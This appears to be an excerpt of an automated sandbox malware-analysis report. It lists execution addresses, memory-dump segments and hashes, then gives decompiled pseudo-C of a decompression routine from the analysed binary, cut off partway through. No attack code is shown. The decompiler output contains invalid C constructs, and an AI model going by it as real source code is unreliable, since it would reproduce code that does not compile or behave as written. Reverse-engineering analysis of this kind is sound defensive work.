0x00406055
0x00406058
0x0040605e
0x00406060
0x00406060
0x00406060
0x00406063
0x00406066
0x00406066
0x00406069
0x0040606c
0x00000000
0x00000000
0x00406072
0x00406078
0x00000000
0x00000000
0x0040607e
0x0040607e
0x00406082
0x00406085
0x00406088
0x0040608b
0x0040608e
0x0040608f
0x00406092
0x00406094
0x0040609a
0x0040609d
0x004060a0
0x004060a3
0x004060a6
0x004060a9
0x004060ac
0x004060c8
0x004060cb
0x004060ce
0x004060d1
0x004060d8
0x004060dc
0x004060de
0x004060e2
0x004060ae
0x004060ae
0x004060b2
0x004060ba
0x004060bf
0x004060c1
0x004060c3
0x004060c3
0x004060e5
0x004060ec
0x004060ef
0x00000000
0x004060f5
0x00000000
0x004060f5
0x00000000
0x004060fa
0x004060fa
0x004060fe
0x004067be
0x00000000
0x004067be
0x00406104
0x00406107
0x0040610a
0x0040610e
0x00406111
0x00406117
0x00406119
0x00406119
0x00406119
0x0040611c
0x0040611f
0x0040611f
0x0040611f
0x00406125
0x00000000
0x00000000
0x00406127
0x0040612a
0x0040612d
0x00406130
0x00406133
0x00406136
0x00406139
0x0040613c
0x0040613f
0x00406142
0x00406145
0x0040615d
0x00406160
0x00406163
0x00406166
0x00406166
0x00406169
0x0040616d
0x0040616f
0x00406147
0x00406147
0x0040614f
0x00406154
0x00406156
0x00406158
0x00406158
0x00406172
0x00406179
0x0040617c
0x00000000
0x0040617e
0x00000000
0x0040617e
0x0040617c
0x00406183
0x00406183
0x00406183
0x00406183
0x00000000
0x00000000
0x004061be
0x004061be
0x004061c2
0x004067ca
0x00000000
0x004067ca
0x004061c8
0x004061cb
0x004061ce
0x004061d2
0x004061d5
0x004061db
0x004061dd
0x004061dd
0x004061dd
0x004061e0
0x004061e3
0x004061e3
0x004061e9
0x00406187
0x00406187
0x0040618a
0x00000000
0x0040618a
0x004061eb
0x004061eb
0x004061ee
0x004061f1
0x004061f4
0x004061f7
0x004061fa
0x004061fd
0x00406200
0x00406203
0x00406206
0x00406209
0x00406221
0x00406224
0x00406227
0x0040622a
0x0040622a
0x0040622d
0x00406231
0x00406233
0x0040620b
0x0040620b
0x00406213
0x00406218
0x0040621a
0x0040621c
0x0040621c
0x00406236
0x0040623d
0x00406240
0x00000000
0x00406242
0x00000000
0x00406242
0x00000000
0x004064cf
0x004064cf
0x004064d3
0x004067fa
0x00000000
0x004067fa
0x004064d9
0x004064dc
0x004064df
0x004064e3
0x004064e6
0x004064ec
0x004064ee
0x004064ee
0x004064ee
0x004064f1
0x00000000
0x00000000
0x0040629f
0x0040629f
0x004062a2
0x00406614
0x00406614
0x00000000
0x00000000
0x00000000
0x00000000
0x0040669b
0x0040669f
0x004066bd
0x004066bd
0x004066bd
0x004066c4
0x004066cb
0x00000000
0x004066cb
0x004066a1
0x004066a4
0x004066a7
0x004066aa
0x004066b1
0x00000000
0x00000000
0x0040678c
0x0040678f
0x00406690
0x00406690
0x00000000
0x00000000
0x004063c6
0x004063c8
0x004063cf
0x004063d0
0x004063d2
0x004063d5
0x00000000
0x00000000
0x004063dd
0x004063e0
0x004063e3
0x004063e5
0x004063e7
0x004063e7
0x004063e8
0x004063eb
0x004063f2
0x004063f5
0x00406403
0x00000000
0x00000000
0x00000000
0x00000000
0x004066e8
0x004066e8
0x004066ec
0x00406824
0x00000000
0x00406824
0x004066f2
0x004066f5
0x004066f8
0x004066fc
0x004066ff
0x00406705
0x00406707
0x00406707
0x00406707
0x0040670a
0x0040670d
0x0040670d
0x0040670d
0x0040670d
0x00000000
0x00000000
0x0040640b
0x0040640e
0x00406444
0x00406574
0x00406574
0x00406574
0x00406574
0x00406577
0x00406577
0x0040657a
0x0040657c
0x00406806
0x00000000
0x00406806
0x00406582
0x00406585
0x00000000
0x00000000
0x0040658b
0x0040658f
0x00406592
0x00406592
0x00406592
0x00000000
0x00406592
0x00406410
0x00406412
0x00406414
0x00406416
0x00406419
0x0040641a
0x0040641c
0x0040641e
0x00406421
0x00406424
0x0040643a
0x0040643f
0x00406477
0x00406477
0x0040647b
0x004064a7
0x004064a9
0x004064b0
0x004064b3
0x004064b6
0x004064b6
0x004064bb
0x004064bb
0x004064bd
0x004064c0
0x004064c7
0x004064ca
0x004064f7
0x004064f7
0x004064fa
0x004064fd
0x00406571
0x00406571
0x00406571
0x00000000
0x00406571
0x004064ff
0x00406505
0x00406508
0x0040650b
0x0040650e
0x00406511
0x00406514
0x00406517
0x0040651a
0x0040651d
0x00406520
0x00406539
0x0040653b
0x0040653e
0x0040653f
0x00406542
0x00406544
0x00406547
0x00406549
0x0040654b
0x0040654e
0x00406550
0x00406553
0x00406557
0x00406559
0x00406559
0x0040655a
0x0040655d
0x00406560
0x00406522
0x00406522
0x0040652a
0x0040652f
0x00406531
0x00406534
0x00406534
0x00406563
0x0040656a
0x004064f4
0x004064f4
0x004064f4
0x004064f4
0x00000000
0x0040656c
0x00000000
0x0040656c
0x0040656a
0x0040647d
0x00406480
0x00406482
0x00406485
0x00406488
0x0040648b
0x0040648d
0x00406490
0x00406493
0x00406493
0x00406496
0x00406496
0x00406499
0x004064a0
0x00406474
0x00406474
0x00406474
0x00406474
0x00000000
0x004064a2
0x00000000
0x004064a2
0x004064a0
0x00406426
0x00406429
0x0040642b
0x0040642e
0x00000000
0x00000000
0x0040618d
0x0040618d
0x00406191
0x004067d6
0x00000000
0x004067d6
0x00406197
0x0040619a
0x0040619d
0x004061a0
0x004061a3
0x004061a6
0x004061a9
0x004061ab
0x004061ae
0x004061b1
0x004061b4
0x004061b6
0x004061b6
0x004061b6
0x00000000
0x00000000
0x00406318
0x00406318
0x0040631c
0x004067e2
0x00000000
0x004067e2
0x00406322
0x00406325
0x00406328
0x0040632b
0x0040632d
0x0040632d
0x0040632d
0x00406330
0x00406333
0x00406336
0x00406339
0x0040633c
0x0040633f
0x00406340
0x00406342
0x00406342
0x00406342
0x00406345
0x00406348
0x0040634b
0x0040634e
0x0040634e
0x0040634e
0x00406351
0x00406353
0x00406353
0x00000000
0x00000000
0x00406595
0x00406595
0x00406595
0x00406599
0x00000000
0x00000000
0x0040659f
0x004065a2
0x004065a5
0x004065a8
0x004065aa
0x004065aa
0x004065aa
0x004065ad
0x004065b0
0x004065b3
0x004065b6
0x004065b9
0x004065bc
0x004065bd
0x004065bf
0x004065bf
0x004065bf
0x004065c2
0x004065c5
0x004065c8
0x004065cb
0x004065ce
0x004065d2
0x004065d4
0x004065d7
0x00000000
0x004065d9
0x00406356
0x00406356
0x00000000
0x00406356
0x004065d7
0x0040680c
0x0040682e
0x00406834
0x00406836
0x0040683d
0x0040683f
0x00406846
0x0040684a
0x00000000
0x00405e3b
0x00406843
0x00406843
0x00000000
0x00406843
0x00406690
0x00406716
0x0040671c
0x0040671f
0x00406722
0x00406725
0x00406728
0x0040672b
0x0040672e
0x00406731
0x00406737
0x00406750
0x00406753
0x00406756
0x00406759
0x0040675d
0x0040675f
0x00406760
0x00406763
0x00406739
0x00406739
0x00406741
0x00406746
0x00406748
0x0040674b
0x0040674b
0x0040676d
0x00000000
0x0040676f
0x00000000
0x0040676f
0x0040676d
0x00000000
0x004065e2

Memory Dump Source

Source File: 00000000.00000002.653149213.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.653134628.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.653166466.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.653175210.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.653298414.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.653322956.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.653364448.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b486484d64dd4cde6c37fee08c13c94b86683911648eeb5affe32ba80e56590e
Instruction ID: 736e54d1ea8bc2ffbcc58a3ee687e8f06aed80bce92bf0dad63538ea203c4f31
Opcode Fuzzy Hash: b486484d64dd4cde6c37fee08c13c94b86683911648eeb5affe32ba80e56590e
Instruction Fuzzy Hash: 77913271D00229CBDF28CF98C844BADBBB1FF44305F15816AD856BB281D7789A86DF54

Uniqueness

Uniqueness Score: -1.00%

Function 004062F4, Relevance: 5.2, APIs: 4, Instructions: 205
COMMON

Download Yara Rule

C-Code - Quality: 98%

			E004062F4() {
				unsigned short _t532;
				signed int _t533;
				void _t534;
				void* _t535;
				signed int _t536;
				signed int _t565;
				signed int _t568;
				signed int _t589;
				signed int* _t606;
				void* _t613;

				L0:
				while(1) {
					L0:
					if( *(_t613 - 0x40) != 0) {
						L89:
						 *((intOrPtr*)(_t613 - 0x80)) = 0x15;
						 *(_t613 - 0x58) =  *(_t613 - 4) + 0xa68;
						L69:
						_t606 =  *(_t613 - 0x58);
						 *(_t613 - 0x84) = 0x12;
						L132:
						 *(_t613 - 0x54) = _t606;
						L133:
						_t532 =  *_t606;
						_t589 = _t532 & 0x0000ffff;
						_t565 = ( *(_t613 - 0x10) >> 0xb) * _t589;
						if( *(_t613 - 0xc) >= _t565) {
							 *(_t613 - 0x10) =  *(_t613 - 0x10) - _t565;
							 *(_t613 - 0xc) =  *(_t613 - 0xc) - _t565;
							 *(_t613 - 0x40) = 1;
							_t533 = _t532 - (_t532 >> 5);
							 *_t606 = _t533;
						} else {
							 *(_t613 - 0x10) = _t565;
							 *(_t613 - 0x40) =  *(_t613 - 0x40) & 0x00000000;
							 *_t606 = (0x800 - _t589 >> 5) + _t532;
						}
						if( *(_t613 - 0x10) >= 0x1000000) {
							L139:
							_t534 =  *(_t613 - 0x84);
							L140:
							 *(_t613 - 0x88) = _t534;
							goto L1;
						} else {
							L137:
							if( *(_t613 - 0x6c) == 0) {
								 *(_t613 - 0x88) = 5;
								goto L170;
							}
							 *(_t613 - 0x10) =  *(_t613 - 0x10) << 8;
							 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
							 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
							 *(_t613 - 0xc) =  *(_t613 - 0xc) << 0x00000008 |  *( *(_t613 - 0x70)) & 0x000000ff;
							goto L139;
						}
					} else {
						if( *(__ebp - 0x60) == 0) {
							L171:
							_t536 = _t535 | 0xffffffff;
							L172:
							return _t536;
						}
						__eax = 0;
						_t258 =  *(__ebp - 0x38) - 7 >= 0;
						0 | _t258 = _t258 + _t258 + 9;
						 *(__ebp - 0x38) = _t258 + _t258 + 9;
						L75:
						if( *(__ebp - 0x64) == 0) {
							 *(__ebp - 0x88) = 0x1b;
							L170:
							_t568 = 0x22;
							memcpy( *(_t613 - 0x90), _t613 - 0x88, _t568 << 2);
							_t536 = 0;
							goto L172;
						}
						__eax =  *(__ebp - 0x14);
						__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
						if(__eax >=  *(__ebp - 0x74)) {
							__eax = __eax +  *(__ebp - 0x74);
						}
						__edx =  *(__ebp - 8);
						__cl =  *(__eax + __edx);
						__eax =  *(__ebp - 0x14);
						 *(__ebp - 0x5c) = __cl;
						 *(__eax + __edx) = __cl;
						__eax = __eax + 1;
						__edx = 0;
						_t274 = __eax %  *(__ebp - 0x74);
						__eax = __eax /  *(__ebp - 0x74);
						__edx = _t274;
						__eax =  *(__ebp - 0x68);
						 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
						 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
						_t283 = __ebp - 0x64;
						 *_t283 =  *(__ebp - 0x64) - 1;
						 *( *(__ebp - 0x68)) = __cl;
						L79:
						 *(__ebp - 0x14) = __edx;
						L80:
						 *(__ebp - 0x88) = 2;
					}
					L1:
					_t535 =  *(_t613 - 0x88);
					if(_t535 > 0x1c) {
						goto L171;
					}
					switch( *((intOrPtr*)(_t535 * 4 +  &M0040684B))) {
						case 0:
							if( *(_t613 - 0x6c) == 0) {
								goto L170;
							}
							 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
							 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
							_t535 =  *( *(_t613 - 0x70));
							if(_t535 > 0xe1) {
								goto L171;
							}
							_t539 = _t535 & 0x000000ff;
							_push(0x2d);
							asm("cdq");
							_pop(_t570);
							_push(9);
							_pop(_t571);
							_t609 = _t539 / _t570;
							_t541 = _t539 % _t570 & 0x000000ff;
							asm("cdq");
							_t604 = _t541 % _t571 & 0x000000ff;
							 *(_t613 - 0x3c) = _t604;
							 *(_t613 - 0x1c) = (1 << _t609) - 1;
							 *((intOrPtr*)(_t613 - 0x18)) = (1 << _t541 / _t571) - 1;
							_t612 = (0x300 << _t604 + _t609) + 0x736;
							if(0x600 ==  *((intOrPtr*)(_t613 - 0x78))) {
								L10:
								if(_t612 == 0) {
									L12:
									 *(_t613 - 0x48) =  *(_t613 - 0x48) & 0x00000000;
									 *(_t613 - 0x40) =  *(_t613 - 0x40) & 0x00000000;
									goto L15;
								} else {
									goto L11;
								}
								do {
									L11:
									_t612 = _t612 - 1;
									 *((short*)( *(_t613 - 4) + _t612 * 2)) = 0x400;
								} while (_t612 != 0);
								goto L12;
							}
							if( *(_t613 - 4) != 0) {
								GlobalFree( *(_t613 - 4));
							}
							_t535 = GlobalAlloc(0x40, 0x600); // executed
							 *(_t613 - 4) = _t535;
							if(_t535 == 0) {
								goto L171;
							} else {
								 *((intOrPtr*)(_t613 - 0x78)) = 0x600;
								goto L10;
							}
						case 1:
							L13:
							__eflags =  *(_t613 - 0x6c);
							if( *(_t613 - 0x6c) == 0) {
								 *(_t613 - 0x88) = 1;
								goto L170;
							}
							 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
							 *(_t613 - 0x40) =  *(_t613 - 0x40) | ( *( *(_t613 - 0x70)) & 0x000000ff) <<  *(_t613 - 0x48) << 0x00000003;
							 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
							_t45 = _t613 - 0x48;
							 *_t45 =  *(_t613 - 0x48) + 1;
							__eflags =  *_t45;
							L15:
							if( *(_t613 - 0x48) < 4) {
								goto L13;
							}
							_t547 =  *(_t613 - 0x40);
							if(_t547 ==  *(_t613 - 0x74)) {
								L20:
								 *(_t613 - 0x48) = 5;
								 *( *(_t613 - 8) +  *(_t613 - 0x74) - 1) =  *( *(_t613 - 8) +  *(_t613 - 0x74) - 1) & 0x00000000;
								goto L23;
							}
							 *(_t613 - 0x74) = _t547;
							if( *(_t613 - 8) != 0) {
								GlobalFree( *(_t613 - 8)); // executed
							}
							_t535 = GlobalAlloc(0x40,  *(_t613 - 0x40)); // executed
							 *(_t613 - 8) = _t535;
							if(_t535 == 0) {
								goto L171;
							} else {
								goto L20;
							}
						case 2:
							L24:
							_t554 =  *(_t613 - 0x60) &  *(_t613 - 0x1c);
							 *(_t613 - 0x84) = 6;
							 *(_t613 - 0x4c) = _t554;
							_t606 =  *(_t613 - 4) + (( *(_t613 - 0x38) << 4) + _t554) * 2;
							goto L132;
						case 3:
							L21:
							__eflags =  *(_t613 - 0x6c);
							if( *(_t613 - 0x6c) == 0) {
								 *(_t613 - 0x88) = 3;
								goto L170;
							}
							 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
							_t67 = _t613 - 0x70;
							 *_t67 =  &(( *(_t613 - 0x70))[1]);
							__eflags =  *_t67;
							 *(_t613 - 0xc) =  *(_t613 - 0xc) << 0x00000008 |  *( *(_t613 - 0x70)) & 0x000000ff;
							L23:
							 *(_t613 - 0x48) =  *(_t613 - 0x48) - 1;
							if( *(_t613 - 0x48) != 0) {
								goto L21;
							}
							goto L24;
						case 4:
							goto L133;
						case 5:
							goto L137;
						case 6:
							__edx = 0;
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								__eax =  *(__ebp - 4);
								__ecx =  *(__ebp - 0x38);
								 *(__ebp - 0x34) = 1;
								 *(__ebp - 0x84) = 7;
								__esi =  *(__ebp - 4) + 0x180 +  *(__ebp - 0x38) * 2;
								goto L132;
							}
							__eax =  *(__ebp - 0x5c) & 0x000000ff;
							__esi =  *(__ebp - 0x60);
							__cl = 8;
							__cl = 8 -  *(__ebp - 0x3c);
							__esi =  *(__ebp - 0x60) &  *(__ebp - 0x18);
							__eax = ( *(__ebp - 0x5c) & 0x000000ff) >> 8;
							__ecx =  *(__ebp - 0x3c);
							__esi = ( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8;
							__ecx =  *(__ebp - 4);
							(( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2;
							__eax = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9;
							__eflags =  *(__ebp - 0x38) - 4;
							__eax = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
							 *(__ebp - 0x58) = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
							if( *(__ebp - 0x38) >= 4) {
								__eflags =  *(__ebp - 0x38) - 0xa;
								if( *(__ebp - 0x38) >= 0xa) {
									_t98 = __ebp - 0x38;
									 *_t98 =  *(__ebp - 0x38) - 6;
									__eflags =  *_t98;
								} else {
									 *(__ebp - 0x38) =  *(__ebp - 0x38) - 3;
								}
							} else {
								 *(__ebp - 0x38) = 0;
							}
							__eflags =  *(__ebp - 0x34) - __edx;
							if( *(__ebp - 0x34) == __edx) {
								__ebx = 0;
								__ebx = 1;
								goto L61;
							} else {
								__eax =  *(__ebp - 0x14);
								__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
								__eflags = __eax -  *(__ebp - 0x74);
								if(__eax >=  *(__ebp - 0x74)) {
									__eax = __eax +  *(__ebp - 0x74);
									__eflags = __eax;
								}
								__ecx =  *(__ebp - 8);
								__ebx = 0;
								__ebx = 1;
								__al =  *((intOrPtr*)(__eax + __ecx));
								 *(__ebp - 0x5b) =  *((intOrPtr*)(__eax + __ecx));
								goto L41;
							}
						case 7:
							__eflags =  *(__ebp - 0x40) - 1;
							if( *(__ebp - 0x40) != 1) {
								__eax =  *(__ebp - 0x24);
								 *(__ebp - 0x80) = 0x16;
								 *(__ebp - 0x20) =  *(__ebp - 0x24);
								__eax =  *(__ebp - 0x28);
								 *(__ebp - 0x24) =  *(__ebp - 0x28);
								__eax =  *(__ebp - 0x2c);
								 *(__ebp - 0x28) =  *(__ebp - 0x2c);
								__eax = 0;
								__eflags =  *(__ebp - 0x38) - 7;
								0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
								__al = __al & 0x000000fd;
								__eax = (__eflags >= 0) - 1 + 0xa;
								 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xa;
								__eax =  *(__ebp - 4);
								__eax =  *(__ebp - 4) + 0x664;
								__eflags = __eax;
								 *(__ebp - 0x58) = __eax;
								goto L69;
							}
							__eax =  *(__ebp - 4);
							__ecx =  *(__ebp - 0x38);
							 *(__ebp - 0x84) = 8;
							__esi =  *(__ebp - 4) + 0x198 +  *(__ebp - 0x38) * 2;
							goto L132;
						case 8:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								__eax =  *(__ebp - 4);
								__ecx =  *(__ebp - 0x38);
								 *(__ebp - 0x84) = 0xa;
								__esi =  *(__ebp - 4) + 0x1b0 +  *(__ebp - 0x38) * 2;
							} else {
								__eax =  *(__ebp - 0x38);
								__ecx =  *(__ebp - 4);
								__eax =  *(__ebp - 0x38) + 0xf;
								 *(__ebp - 0x84) = 9;
								 *(__ebp - 0x38) + 0xf << 4 = ( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c);
								__esi =  *(__ebp - 4) + (( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c)) * 2;
							}
							goto L132;
						case 9:
							goto L0;
						case 0xa:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								__eax =  *(__ebp - 4);
								__ecx =  *(__ebp - 0x38);
								 *(__ebp - 0x84) = 0xb;
								__esi =  *(__ebp - 4) + 0x1c8 +  *(__ebp - 0x38) * 2;
								goto L132;
							}
							__eax =  *(__ebp - 0x28);
							goto L88;
						case 0xb:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								__ecx =  *(__ebp - 0x24);
								__eax =  *(__ebp - 0x20);
								 *(__ebp - 0x20) =  *(__ebp - 0x24);
							} else {
								__eax =  *(__ebp - 0x24);
							}
							__ecx =  *(__ebp - 0x28);
							 *(__ebp - 0x24) =  *(__ebp - 0x28);
							L88:
							__ecx =  *(__ebp - 0x2c);
							 *(__ebp - 0x2c) = __eax;
							 *(__ebp - 0x28) =  *(__ebp - 0x2c);
							goto L89;
						case 0xc:
							L99:
							__eflags =  *(__ebp - 0x6c);
							if( *(__ebp - 0x6c) == 0) {
								 *(__ebp - 0x88) = 0xc;
								goto L170;
							}
							__ecx =  *(__ebp - 0x70);
							__eax =  *(__ebp - 0xc);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							_t334 = __ebp - 0x70;
							 *_t334 =  *(__ebp - 0x70) + 1;
							__eflags =  *_t334;
							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							__eax =  *(__ebp - 0x2c);
							goto L101;
						case 0xd:
							L37:
							__eflags =  *(__ebp - 0x6c);
							if( *(__ebp - 0x6c) == 0) {
								 *(__ebp - 0x88) = 0xd;
								goto L170;
							}
							__ecx =  *(__ebp - 0x70);
							__eax =  *(__ebp - 0xc);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							_t122 = __ebp - 0x70;
							 *_t122 =  *(__ebp - 0x70) + 1;
							__eflags =  *_t122;
							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							L39:
							__eax =  *(__ebp - 0x40);
							__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
							if( *(__ebp - 0x48) !=  *(__ebp - 0x40)) {
								goto L48;
							}
							__eflags = __ebx - 0x100;
							if(__ebx >= 0x100) {
								goto L54;
							}
							L41:
							__eax =  *(__ebp - 0x5b) & 0x000000ff;
							 *(__ebp - 0x5b) =  *(__ebp - 0x5b) << 1;
							__ecx =  *(__ebp - 0x58);
							__eax = ( *(__ebp - 0x5b) & 0x000000ff) >> 7;
							 *(__ebp - 0x48) = __eax;
							__eax = __eax + 1;
							__eax = __eax << 8;
							__eax = __eax + __ebx;
							__esi =  *(__ebp - 0x58) + __eax * 2;
							 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
							__ax =  *__esi;
							 *(__ebp - 0x54) = __esi;
							__edx = __ax & 0x0000ffff;
							__ecx = ( *(__ebp - 0x10) >> 0xb) * __edx;
							__eflags =  *(__ebp - 0xc) - __ecx;
							if( *(__ebp - 0xc) >= __ecx) {
								 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
								 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
								__cx = __ax;
								 *(__ebp - 0x40) = 1;
								__cx = __ax >> 5;
								__eflags = __eax;
								__ebx = __ebx + __ebx + 1;
								 *__esi = __ax;
							} else {
								 *(__ebp - 0x40) =  *(__ebp - 0x40) & 0x00000000;
								 *(__ebp - 0x10) = __ecx;
								0x800 = 0x800 - __edx;
								0x800 - __edx >> 5 = (0x800 - __edx >> 5) + __eax;
								__ebx = __ebx + __ebx;
								 *__esi = __cx;
							}
							__eflags =  *(__ebp - 0x10) - 0x1000000;
							 *(__ebp - 0x44) = __ebx;
							if( *(__ebp - 0x10) >= 0x1000000) {
								goto L39;
							} else {
								goto L37;
							}
						case 0xe:
							L46:
							__eflags =  *(__ebp - 0x6c);
							if( *(__ebp - 0x6c) == 0) {
								 *(__ebp - 0x88) = 0xe;
								goto L170;
							}
							__ecx =  *(__ebp - 0x70);
							__eax =  *(__ebp - 0xc);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							_t156 = __ebp - 0x70;
							 *_t156 =  *(__ebp - 0x70) + 1;
							__eflags =  *_t156;
							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							while(1) {
								L48:
								__eflags = __ebx - 0x100;
								if(__ebx >= 0x100) {
									break;
								}
								__eax =  *(__ebp - 0x58);
								__edx = __ebx + __ebx;
								__ecx =  *(__ebp - 0x10);
								__esi = __edx + __eax;
								__ecx =  *(__ebp - 0x10) >> 0xb;
								__ax =  *__esi;
								 *(__ebp - 0x54) = __esi;
								__edi = __ax & 0x0000ffff;
								__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
								__eflags =  *(__ebp - 0xc) - __ecx;
								if( *(__ebp - 0xc) >= __ecx) {
									 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
									 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
									__cx = __ax;
									_t170 = __edx + 1; // 0x1
									__ebx = _t170;
									__cx = __ax >> 5;
									__eflags = __eax;
									 *__esi = __ax;
								} else {
									 *(__ebp - 0x10) = __ecx;
									0x800 = 0x800 - __edi;
									0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
									__ebx = __ebx + __ebx;
									 *__esi = __cx;
								}
								__eflags =  *(__ebp - 0x10) - 0x1000000;
								 *(__ebp - 0x44) = __ebx;
								if( *(__ebp - 0x10) >= 0x1000000) {
									continue;
								} else {
									goto L46;
								}
							}
							L54:
							_t173 = __ebp - 0x34;
							 *_t173 =  *(__ebp - 0x34) & 0x00000000;
							__eflags =  *_t173;
							goto L55;
						case 0xf:
							L58:
							__eflags =  *(__ebp - 0x6c);
							if( *(__ebp - 0x6c) == 0) {
								 *(__ebp - 0x88) = 0xf;
								goto L170;
							}
							__ecx =  *(__ebp - 0x70);
							__eax =  *(__ebp - 0xc);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							_t203 = __ebp - 0x70;
							 *_t203 =  *(__ebp - 0x70) + 1;
							__eflags =  *_t203;
							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							L60:
							__eflags = __ebx - 0x100;
							if(__ebx >= 0x100) {
								L55:
								__al =  *(__ebp - 0x44);
								 *(__ebp - 0x5c) =  *(__ebp - 0x44);
								goto L56;
							}
							L61:
							__eax =  *(__ebp - 0x58);
							__edx = __ebx + __ebx;
							__ecx =  *(__ebp - 0x10);
							__esi = __edx + __eax;
							__ecx =  *(__ebp - 0x10) >> 0xb;
							__ax =  *__esi;
							 *(__ebp - 0x54) = __esi;
							__edi = __ax & 0x0000ffff;
							__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
							__eflags =  *(__ebp - 0xc) - __ecx;
							if( *(__ebp - 0xc) >= __ecx) {
								 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
								 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
								__cx = __ax;
								_t217 = __edx + 1; // 0x1
								__ebx = _t217;
								__cx = __ax >> 5;
								__eflags = __eax;
								 *__esi = __ax;
							} else {
								 *(__ebp - 0x10) = __ecx;
								0x800 = 0x800 - __edi;
								0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
								__ebx = __ebx + __ebx;
								 *__esi = __cx;
							}
							__eflags =  *(__ebp - 0x10) - 0x1000000;
							 *(__ebp - 0x44) = __ebx;
							if( *(__ebp - 0x10) >= 0x1000000) {
								goto L60;
							} else {
								goto L58;
							}
						case 0x10:
							L109:
							__eflags =  *(__ebp - 0x6c);
							if( *(__ebp - 0x6c) == 0) {
								 *(__ebp - 0x88) = 0x10;
